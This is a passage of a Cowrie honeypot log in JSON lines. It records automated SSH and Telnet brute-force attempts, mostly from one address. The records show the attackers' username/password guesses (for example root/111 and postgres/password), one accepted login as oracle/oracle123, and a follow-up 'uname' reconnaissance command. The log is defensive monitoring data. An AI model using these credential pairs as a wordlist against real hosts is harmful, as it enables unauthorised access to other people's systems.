-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:57.097481Z","src_ip":"45.156.87.147","session":"30be4df3dd07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:57.453906Z","src_ip":"45.156.87.147","session":"30be4df3dd07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:58.543910Z","src_ip":"45.156.87.147","session":"30be4df3dd07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42384,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a2a2077fb37","protocol":"ssh","message":"New connection: 45.156.87.147:42384 (10.17.0.5:22) [session: 0a2a2077fb37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:03.303599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:03.308038Z","src_ip":"45.156.87.147","session":"0a2a2077fb37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:03.391572Z","src_ip":"45.156.87.147","session":"0a2a2077fb37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123","message":"login attempt [gitlab-runner/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:03.644722Z","src_ip":"45.156.87.147","session":"0a2a2077fb37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.44453239440918,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:03.976963Z","src_ip":"128.199.8.54","session":"87c59b8616ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:04.729617Z","src_ip":"45.156.87.147","session":"0a2a2077fb37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.227.227.84","src_port":37076,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aefc4c21989","protocol":"telnet","message":"New connection: 99.227.227.84:37076 (10.17.0.5:23) [session: 1aefc4c21989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:06.299630Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":39684,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9f24b7b3a50","protocol":"telnet","message":"New connection: 102.37.220.188:39684 (159.203.135.109:23) [session: d9f24b7b3a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:07.429039Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56830,"dst_ip":"10.17.0.5","dst_port":22,"session":"122f7a094dfb","protocol":"ssh","message":"New connection: 45.156.87.147:56830 (10.17.0.5:22) [session: 122f7a094dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:09.639571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:09.643904Z","src_ip":"45.156.87.147","session":"122f7a094dfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:09.727392Z","src_ip":"45.156.87.147","session":"122f7a094dfb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:09.974878Z","src_ip":"45.156.87.147","session":"122f7a094dfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:10.195856Z","src_ip":"45.156.87.147","session":"122f7a094dfb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:10.198873Z","src_ip":"45.156.87.147","session":"122f7a094dfb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:10.283765Z","src_ip":"45.156.87.147","session":"122f7a094dfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:10.288350Z","src_ip":"45.156.87.147","session":"122f7a094dfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56842,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab1f384f4b4a","protocol":"ssh","message":"New connection: 45.156.87.147:56842 (10.17.0.5:22) [session: ab1f384f4b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:15.895221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:15.898824Z","src_ip":"45.156.87.147","session":"ab1f384f4b4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:15.981881Z","src_ip":"45.156.87.147","session":"ab1f384f4b4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"A123456a","message":"login attempt [ubuntu/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:16.370682Z","src_ip":"45.156.87.147","session":"ab1f384f4b4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:17.460028Z","src_ip":"45.156.87.147","session":"ab1f384f4b4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":40378,"dst_ip":"159.203.135.109","dst_port":23,"session":"233defa73c47","protocol":"telnet","message":"New connection: 172.81.62.90:40378 (159.203.135.109:23) [session: 233defa73c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:19.165911Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59850,"dst_ip":"10.17.0.5","dst_port":22,"session":"6976de87ee23","protocol":"ssh","message":"New connection: 45.156.87.147:59850 (10.17.0.5:22) [session: 6976de87ee23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:21.860087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:21.863792Z","src_ip":"45.156.87.147","session":"6976de87ee23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:21.945868Z","src_ip":"45.156.87.147","session":"6976de87ee23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:22.192698Z","src_ip":"45.156.87.147","session":"6976de87ee23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:23.318837Z","src_ip":"45.156.87.147","session":"6976de87ee23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59854,"dst_ip":"10.17.0.5","dst_port":22,"session":"28e1d071fbbf","protocol":"ssh","message":"New connection: 45.156.87.147:59854 (10.17.0.5:22) [session: 28e1d071fbbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:27.803777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:27.808507Z","src_ip":"45.156.87.147","session":"28e1d071fbbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:27.932555Z","src_ip":"45.156.87.147","session":"28e1d071fbbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:28.317143Z","src_ip":"45.156.87.147","session":"28e1d071fbbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:29.404356Z","src_ip":"45.156.87.147","session":"28e1d071fbbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44552,"dst_ip":"10.17.0.5","dst_port":22,"session":"f80465048075","protocol":"ssh","message":"New connection: 45.156.87.147:44552 (10.17.0.5:22) [session: f80465048075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:33.954052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:33.958696Z","src_ip":"45.156.87.147","session":"f80465048075","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:34.039705Z","src_ip":"45.156.87.147","session":"f80465048075","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:34.404483Z","src_ip":"45.156.87.147","session":"f80465048075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:35.499855Z","src_ip":"45.156.87.147","session":"f80465048075","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.114","src_port":42036,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e1300d1bab1","protocol":"ssh","message":"New connection: 103.189.235.114:42036 (159.203.135.109:22) [session: 3e1300d1bab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:38.049664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:38.053836Z","src_ip":"103.189.235.114","session":"3e1300d1bab1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:38.311760Z","src_ip":"103.189.235.114","session":"3e1300d1bab1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ist","password":"ist","message":"login attempt [ist/ist] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:39.376851Z","src_ip":"103.189.235.114","session":"3e1300d1bab1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.04658818244934,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:39.475477Z","src_ip":"102.37.220.188","session":"d9f24b7b3a50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":43494,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d58b9fd437b","protocol":"ssh","message":"New connection: 45.156.87.147:43494 (10.17.0.5:22) [session: 3d58b9fd437b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:40.125365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:44:40.128866Z","src_ip":"45.156.87.147","session":"3d58b9fd437b","protocol":"ssh"}
